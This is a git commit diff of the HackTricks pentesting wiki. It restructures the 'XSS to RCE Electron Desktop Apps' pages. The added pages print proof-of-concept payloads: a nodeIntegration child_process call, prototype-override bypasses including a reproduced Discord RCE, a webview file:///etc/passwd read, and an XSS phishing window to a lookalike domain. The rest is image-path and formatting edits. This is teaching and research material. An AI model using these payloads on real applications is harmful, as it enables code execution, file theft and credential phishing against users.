GitBook: [#3110] No subject
BIN
.gitbook/assets/image (375) (1) (1).png
Normal file
After Width: | Height: | Size: 8.1 KiB |
Before Width: | Height: | Size: 8.1 KiB After Width: | Height: | Size: 34 KiB |
Before Width: | Height: | Size: 34 KiB After Width: | Height: | Size: 264 KiB |
BIN
.gitbook/assets/image (647) (1) (1) (1).png
Normal file
After Width: | Height: | Size: 78 KiB |
Before Width: | Height: | Size: 78 KiB After Width: | Height: | Size: 125 KiB |
Before Width: | Height: | Size: 125 KiB After Width: | Height: | Size: 28 KiB |
Before Width: | Height: | Size: 28 KiB After Width: | Height: | Size: 154 KiB |
BIN
.gitbook/assets/image (652) (1) (1).png
Normal file
After Width: | Height: | Size: 444 KiB |
Before Width: | Height: | Size: 444 KiB After Width: | Height: | Size: 20 KiB |
Before Width: | Height: | Size: 20 KiB After Width: | Height: | Size: 366 KiB |
BIN
.gitbook/assets/image (664).png
Normal file
After Width: | Height: | Size: 191 KiB |
|
@ -280,7 +280,9 @@
|
|||
* [WebDav](pentesting/pentesting-web/put-method-webdav.md)
|
||||
* [werkzeug](pentesting/pentesting-web/werkzeug.md)
|
||||
* [Wordpress](pentesting/pentesting-web/wordpress.md)
|
||||
* [XSS to RCE Electron Desktop Apps](pentesting/pentesting-web/xss-to-rce-electron-desktop-apps.md)
|
||||
* [XSS to RCE Electron Desktop Apps](pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/README.md)
|
||||
* [Electron contextIsolation RCE via preload code](pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/electron-contextisolation-rce-via-preload-code.md)
|
||||
* [Electron contextIsolation RCE via Electron internal code](pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code.md)
|
||||
* [88tcp/udp - Pentesting Kerberos](pentesting/pentesting-kerberos-88/README.md)
|
||||
* [Harvesting tickets from Windows](pentesting/pentesting-kerberos-88/harvesting-tickets-from-windows.md)
|
||||
* [Harvesting tickets from Linux](pentesting/pentesting-kerberos-88/harvesting-tickets-from-linux.md)
|
||||
|
|
|
@ -46,7 +46,7 @@ HTTP/2 on some servers lets you put a **colon in the header name, and with a \r\
|
|||
|
||||
Note that if you put just the new line characters sending a header without content, the request is going to be treated as **invalid**:
|
||||
|
||||
![](<../../.gitbook/assets/image (647) (1) (1).png>)
|
||||
![](<../../.gitbook/assets/image (647) (1) (1) (1).png>)
|
||||
|
||||
### H2.TE via Request LIne Injection
|
||||
|
||||
|
@ -84,7 +84,7 @@ The **problem** with **HTTP/1.1** is that if you **receive 2 HTTP responses** yo
|
|||
|
||||
However, this technique can be used **in HTTP/2** because if the endpoint was **vulnerable** and you smuggled one request, you will see the **headers of the response to the smuggled request in the response from the reverse proxy**:
|
||||
|
||||
![](<../../.gitbook/assets/image (652) (1).png>)
|
||||
![](<../../.gitbook/assets/image (652) (1) (1).png>)
|
||||
|
||||
### Tunnel-vision Problem
|
||||
|
||||
|
|
|
@ -79,8 +79,8 @@ Some **examples**:
|
|||
[server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
{% content-ref url="../../pentesting/pentesting-web/xss-to-rce-electron-desktop-apps.md" %}
|
||||
[xss-to-rce-electron-desktop-apps.md](../../pentesting/pentesting-web/xss-to-rce-electron-desktop-apps.md)
|
||||
{% content-ref url="../../pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/" %}
|
||||
[xss-to-rce-electron-desktop-apps](../../pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## WAF bypass encoding image
|
||||
|
|
|
@ -3,8 +3,7 @@
|
|||
{% hint style="warning" %}
|
||||
**Support HackTricks and get benefits!**
|
||||
|
||||
Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**?
|
||||
Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
|
@ -112,7 +111,7 @@ Some **tricks** for **finding vulnerabilities** in different well known **techno
|
|||
* [**WebDav**](put-method-webdav.md)
|
||||
* [**Werkzeug**](werkzeug.md)
|
||||
* [**Wordpress**](wordpress.md)
|
||||
* [**Electron Desktop (XSS to RCE)**](xss-to-rce-electron-desktop-apps.md)
|
||||
* [**Electron Desktop (XSS to RCE)**](xss-to-rce-electron-desktop-apps/)
|
||||
|
||||
_Take into account that the **same domain** can be using **different technologies** in different **ports**, **folders** and **subdomains**._\
|
||||
If the web application is using any well known **tech/platform listed before** or **any other**, don't forget to **search on the Internet** new tricks (and let me know!).
|
||||
|
|
|
@ -1,47 +0,0 @@
|
|||
# XSS to RCE Electron Desktop Apps
|
||||
|
||||
Recommended read for more trick: [https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1](https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1)
|
||||
|
||||
When I test Electron app, first I always check the options of the [BrowserWindow API](https://www.electronjs.org/docs/api/browser-window), which is used to create a browser window. By checking it, I think about how RCE can be achieved when arbitrary JavaScript execution on the renderer is possible.\
|
||||
Example:
|
||||
|
||||
```
|
||||
const mainWindowOptions = {
|
||||
title: 'Discord',
|
||||
backgroundColor: getBackgroundColor(),
|
||||
width: DEFAULT_WIDTH,
|
||||
height: DEFAULT_HEIGHT,
|
||||
minWidth: MIN_WIDTH,
|
||||
minHeight: MIN_HEIGHT,
|
||||
transparent: false,
|
||||
frame: false,
|
||||
resizable: true,
|
||||
show: isVisible,
|
||||
webPreferences: {
|
||||
blinkFeatures: 'EnumerateDevices,AudioOutputDevices',
|
||||
nodeIntegration: false,
|
||||
preload: _path2.default.join(__dirname, 'mainScreenPreload.js'),
|
||||
nativeWindowOpen: true,
|
||||
enableRemoteModule: false,
|
||||
spellcheck: true
|
||||
}
|
||||
};
|
||||
```
|
||||
|
||||
## nodeIntgration RCE
|
||||
|
||||
If the nodeIntegration is set to true, a web page's JavaScript can use Node.js features easily just by calling the `require()`. For example, the way to execute the calc application on Windows is:
|
||||
|
||||
```
|
||||
<script>
|
||||
require('child_process').exec('calc');
|
||||
</script>
|
||||
```
|
||||
|
||||
## Read Arbitrary Internal FIle
|
||||
|
||||
If contextIsolation set to false you can try to use \<webview> (similar to \<iframe> butcan load local files) to read local files and exfiltrate them: using something like **\<webview src=”file:///etc/passwd”>\</webview>:**
|
||||
|
||||
![](../../.gitbook/assets/1-u1jdryuwaevwjmf\_f2ttjg.png)
|
||||
|
||||
**(Trick copied form** [**here**](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d)**).**
|
|
@ -0,0 +1,152 @@
|
|||
# XSS to RCE Electron Desktop Apps
|
||||
|
||||
Electron is **based on Chromium**, but it is not a browser. Certain principles and security mechanisms implemented by modern browsers are not in place.
|
||||
|
||||
Electron has 2 process types:
|
||||
|
||||
* Main Process
|
||||
* Renderer Process
|
||||
|
||||
A **renderer process** will be a browser window loading a file:
|
||||
|
||||
```javascript
|
||||
const {BrowserWindow} = require('electron');
|
||||
let win = new BrowserWindow();
|
||||
|
||||
//Open Renderer Process
|
||||
win.loadURL(`file://path/to/index.html`);
|
||||
```
|
||||
|
||||
Settings of the **renderer process** can be **configured** in the **main process** inside the main.js file. Some of the configurations will **prevent the Electron application to get RCE** or other vulnerabilities if the **settings are correctly configured**.
|
||||
|
||||
The desktop application might have access to the user’s device through Node APIs. The following two configurations are responsible for providing mechanisms to **prevent the application JavaScript from having direct access to the user’s device** and system level commands.
|
||||
|
||||
* **`nodeIntegration`** - is `off` by default. If on, allows to access node features from the renderer process.
|
||||
* **`contextIsolation`** - is `on` by default. If on, main and renderer processes aren't isolated.
|
||||
* **`preload`** - empty by default.
|
||||
|
||||
Example of configuration:
|
||||
|
||||
```javascript
|
||||
const mainWindowOptions = {
|
||||
title: 'Discord',
|
||||
backgroundColor: getBackgroundColor(),
|
||||
width: DEFAULT_WIDTH,
|
||||
height: DEFAULT_HEIGHT,
|
||||
minWidth: MIN_WIDTH,
|
||||
minHeight: MIN_HEIGHT,
|
||||
transparent: false,
|
||||
frame: false,
|
||||
resizable: true,
|
||||
show: isVisible,
|
||||
webPreferences: {
|
||||
blinkFeatures: 'EnumerateDevices,AudioOutputDevices',
|
||||
nodeIntegration: false,
|
||||
preload: _path2.default.join(__dirname, 'mainScreenPreload.js'),
|
||||
nativeWindowOpen: true,
|
||||
enableRemoteModule: false,
|
||||
spellcheck: true
|
||||
}
|
||||
};
|
||||
```
|
||||
|
||||
## RCE: XSS + nodeIntegration
|
||||
|
||||
If the **nodeIntegration** is set to **on**, a web page's JavaScript can use Node.js features easily just by calling the `require()`. For example, the way to execute the calc application on Windows is:
|
||||
|
||||
```html
|
||||
<script>
|
||||
require('child_process').exec('calc');
|
||||
</script>
|
||||
```
|
||||
|
||||
## RCE: preload
|
||||
|
||||
The script indicated in this setting is l**oaded before other scripts in the renderer**, so it has **unlimited access to Node APIs**:
|
||||
|
||||
```javascript
|
||||
new BrowserWindow{
|
||||
webPreferences: {
|
||||
nodeIntegration: false,
|
||||
preload: _path2.default.join(__dirname, 'perload.js'),
|
||||
}
|
||||
});
|
||||
```
|
||||
|
||||
Therefore, the script can export node-features to pages:
|
||||
|
||||
{% code title="preload.js" %}
|
||||
```javascript
|
||||
typeof require === 'function';
|
||||
window.runCalc = function(){
|
||||
require('child_process').exec('calc')
|
||||
};
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
{% code title="index.html" %}
|
||||
```html
|
||||
<body>
|
||||
<script>
|
||||
typeof require === 'undefined';
|
||||
runCalc();
|
||||
</script>
|
||||
</body>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
{% hint style="info" %}
|
||||
**If `contextIsolation` is on, this won't work**
|
||||
{% endhint %}
|
||||
|
||||
## RCE: XSS + contextIsolation
|
||||
|
||||
The _**contextIsolation**_ introduces the **separated contexts between the web page scripts and the JavaScript Electron's internal code** so that the JavaScript execution of each code does not affect each. This is a necessary feature to eliminate the possibility of RCE.
|
||||
|
||||
If the contexts aren't isolated an attacker can:
|
||||
|
||||
1. Execute **arbitrary JavaScript in renderer** (XSS or navigation to external sites)
|
||||
2. **Overwrite the built-in method** which is used in preload or Electron internal code to own function
|
||||
3. **Trigger** the use of **overwritten function**
|
||||
4. RCE?
|
||||
|
||||
There are 2 places where built-int methods can be overwritten: In preload code or in Electron internal code.
|
||||
|
||||
{% content-ref url="electron-contextisolation-rce-via-preload-code.md" %}
|
||||
[electron-contextisolation-rce-via-preload-code.md](electron-contextisolation-rce-via-preload-code.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
|
||||
|
||||
## Read Internal Files: XSS + contextIsolation
|
||||
|
||||
If `contextIsolation` set to false you can try to use \<webview> (similar to \<iframe> butcan load local files) to read local files and exfiltrate them: using something like **\<webview src=”file:///etc/passwd”>\</webview>:**
|
||||
|
||||
![](../../../.gitbook/assets/1-u1jdryuwaevwjmf\_f2ttjg.png)
|
||||
|
||||
## **XSS Phishing via Internal URL regex bypass**
|
||||
|
||||
Supposing you found a XSS but you **cannot trigger RCE or steal internal files** you could try to use it to **steal credentials via phishing**.
|
||||
|
||||
First of all you need to know what happen when you try to open a new URL, checking the JS code in the front-end:
|
||||
|
||||
```javascript
|
||||
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
|
||||
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
|
||||
```
|
||||
|
||||
The call to ** `openInternally`** will decide if the **link** will be **opened** in the **desktop window** as it's a link belonging to the platform, **or** if will be opened in the **browser as a 3rd party resource**.
|
||||
|
||||
In the case the **regex** used by the function is **vulnerable to bypasses** (for example by **not escaping the dots of subdomains**) an attacker could abuse the XSS to **open a new window which** will be located in the attackers infrastructure **asking for credentials** to the user:
|
||||
|
||||
```html
|
||||
<script>
|
||||
window.open("<http://subdomainagoogleq.com/index.html>")
|
||||
</script>
|
||||
```
|
||||
|
||||
## **References**
|
||||
|
||||
* [https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028](https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028)
|
||||
* [https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d)
|
||||
* [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8)
|
|
@ -0,0 +1,47 @@
|
|||
# Electron contextIsolation RCE via Electron internal code
|
||||
|
||||
## Example 1
|
||||
|
||||
Example from [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41)
|
||||
|
||||
"exit" event listener is always set by the internal code when de page loading is started. This event is emitted just before navigation:
|
||||
|
||||
```javascript
|
||||
process.on('exit', function (){
|
||||
for (let p in cachedArchives) {
|
||||
if (!hasProp.call(cachedArchives, p)) continue
|
||||
cachedArchives[p].destroy()
|
||||
}
|
||||
})
|
||||
```
|
||||
|
||||
{% embed url="https://github.com/electron/electron/blob/664c184fcb98bb5b4b6b569553e7f7339d3ba4c5/lib/common/asar.js#L30-L36" %}
|
||||
|
||||
![](<../../../.gitbook/assets/image (664).png>)
|
||||
|
||||
https://github.com/nodejs/node/blob/8a44289089a08b7b19fa3c4651b5f1f5d1edd71b/bin/events.js#L156-L231 -- No longer exists
|
||||
|
||||
Then it goes here:
|
||||
|
||||
![](<../../../.gitbook/assets/image (647).png>)
|
||||
|
||||
Where "self" is Node's process object:
|
||||
|
||||
![](<../../../.gitbook/assets/image (652).png>)
|
||||
|
||||
The process object has a references to "require" function:
|
||||
|
||||
```
|
||||
process.mainModule.require
|
||||
```
|
||||
|
||||
As the handler.call is going to receive the process object we can overwrite it to execute arbitrary code:
|
||||
|
||||
```html
|
||||
<script>
|
||||
Function.prototype.call = function(process){
|
||||
process.mainModule.require('child_process').execSync('calc');
|
||||
}
|
||||
location.reload();//Trigger the "exit" event
|
||||
</script>
|
||||
```
|
|
@ -0,0 +1,82 @@
|
|||
# Electron contextIsolation RCE via preload code
|
||||
|
||||
## Example 1
|
||||
|
||||
Example from [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30)
|
||||
|
||||
This code open http(s) links with default browser:
|
||||
|
||||
![](<../../../.gitbook/assets/image (375).png>)
|
||||
|
||||
Something like `file:///C:/Windows/systemd32/calc.exe` could be used to execute a calc, the `SAFE_PROTOCOLS.indexOf` is preventing it.
|
||||
|
||||
Therefore, an attacker could inject this JS code via the XSS or arbitrary page navigation:
|
||||
|
||||
```html
|
||||
<script>
|
||||
Array.prototype.indexOf = function(){
|
||||
return 1337;
|
||||
}
|
||||
</script>
|
||||
```
|
||||
|
||||
As the call to `SAFE_PROTOCOLS.indexOf` will return 1337 always, the attacker can bypass the protection and execute the calc. Final exploit:
|
||||
|
||||
```html
|
||||
<script>
|
||||
Array.prototype.indexOf = function(){
|
||||
return 1337;
|
||||
}
|
||||
</script>
|
||||
<a href="file:///C:/Windows/systemd32/calc.exe">CLICK</a>
|
||||
```
|
||||
|
||||
Check the original slides for other ways to execute programs without having a prompt asking for permissions.
|
||||
|
||||
## Example 2: Discord App RCE
|
||||
|
||||
Example from [https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1](https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1)
|
||||
|
||||
When checking the preload scripts, I found that Discord exposes the function, which allows some allowed modules to be called via `DiscordNative.nativeModules.requireModule('MODULE-NAME')`, into the web page.\
|
||||
Here, I couldn't use modules that can be used for RCE directly, such as _child\_process_ module, but I **found a code where RCE can be achieved by overriding the JavaScript built-in methods** and interfering with the execution of the exposed module.
|
||||
|
||||
The following is the PoC. I was able to confirm that the **calc** application is **popped** up when I c**all the `getGPUDriverVersions` function** which is defined in the module called "_discord\_utils_" from devTools, while **overriding the `RegExp.prototype.test` and `Array.prototype.join`**.
|
||||
|
||||
```javascript
|
||||
RegExp.prototype.test=function(){
|
||||
return false;
|
||||
}
|
||||
Array.prototype.join=function(){
|
||||
return "calc";
|
||||
}
|
||||
DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions();
|
||||
```
|
||||
|
||||
The `getGPUDriverVersions` function tries to execute the program by using the "_execa_" library, like the following:
|
||||
|
||||
```javascript
|
||||
module.exports.getGPUDriverVersions = async () => {
|
||||
if (process.platform !== 'win32') {
|
||||
return {};
|
||||
}
|
||||
|
||||
const result = {};
|
||||
const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`;
|
||||
|
||||
try {
|
||||
result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []));
|
||||
} catch (e) {
|
||||
result.nvidia = {error: e.toString()};
|
||||
}
|
||||
|
||||
return result;
|
||||
};
|
||||
```
|
||||
|
||||
Usually the _execa_ tries to execute "_nvidia-smi.exe_", which is specified in the `nvidiaSmiPath` variable, however, due to the overridden `RegExp.prototype.test` and `Array.prototype.join`, **the argument is replaced to "**_**calc**_**" in the **_**execa**_**'s internal processing**.
|
||||
|
||||
Specifically, the argument is replaced by changing the following two parts.
|
||||
|
||||
[https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36](https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36)
|
||||
|
||||
[https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55](https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55)
|
|
@ -10,7 +10,7 @@ If you ends in a code **using shift rights and lefts, xors and several arithmeti
|
|||
|
||||
If this function is used, you can find which **algorithm is being used** checking the value of the second parameter:
|
||||
|
||||
![](<../../.gitbook/assets/image (375) (1).png>)
|
||||
![](<../../.gitbook/assets/image (375) (1) (1).png>)
|
||||
|
||||
Check here the table of possible algorithms and their assigned values: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
|
||||
|
||||
|
|
|
@ -7,8 +7,7 @@
|
|||
### Basic Config
|
||||
|
||||
After installing there are a few things that you could consider configuring.\
|
||||
In settings (the second tab button) you can select the **SDR device** or **select a file** to read and which frequency to syntonise and the Sample rate (recommended to up to 2.56Msps if your PC support it)\
|
||||
|
||||
In settings (the second tab button) you can select the **SDR device** or **select a file** to read and which frequency to syntonise and the Sample rate (recommended to up to 2.56Msps if your PC support it)\\
|
||||
|
||||
![](<../../.gitbook/assets/image (655).png>)
|
||||
|
||||
|
@ -43,7 +42,7 @@ With [**SigDigger** ](https://github.com/BatchDrake/SigDigger)synchronize with t
|
|||
|
||||
![](<../../.gitbook/assets/image (660).png>)
|
||||
|
||||
![](<../../.gitbook/assets/image (652).png>)
|
||||
![](<../../.gitbook/assets/image (652) (1).png>)
|
||||
|
||||
* **After recovering the bits you might need to process them someway**. For example, in Manchester codification a up+down will be a 1 or 0 and a down+up will be the other one. So pairs of 1s and 0s (ups and downs) will be a real 1 or a real 0.
|
||||
* Even if a signal is using Manchester codification (it's impossible to find more than two 0s or 1s in a row), you might **find several 1s or 0s together in the preamble**!
|
||||
|
@ -82,7 +81,7 @@ And this is how part of the symbol looks like with the waveform:
|
|||
|
||||
You can **select the whole signal** where information is located, select **Amplitude** mode and **Selection** and click on **Histogram.** You can observer that 2 clear levels are only found
|
||||
|
||||
![](<../../.gitbook/assets/image (647) (1).png>)
|
||||
![](<../../.gitbook/assets/image (647) (1) (1).png>)
|
||||
|
||||
For example, if you select Frequency instead of Amplitude in this AM signal you find just 1 frequency (no way information modulated in frequency is just using 1 freq).
|
||||
|
||||
|
@ -157,8 +156,6 @@ In the previous image you can observe pretty good that **2 frequencies are used*
|
|||
|
||||
This is because I capture the signal in booth frequencies, therefore one is approximately the other in negative:
|
||||
|
||||
|
||||
|
||||
![](<../../.gitbook/assets/image (656).png>)
|
||||
|
||||
If the synchronized frequency is **closer to one frequency than to the other** you can easily see the 2 different frequencies:
|
||||
|
|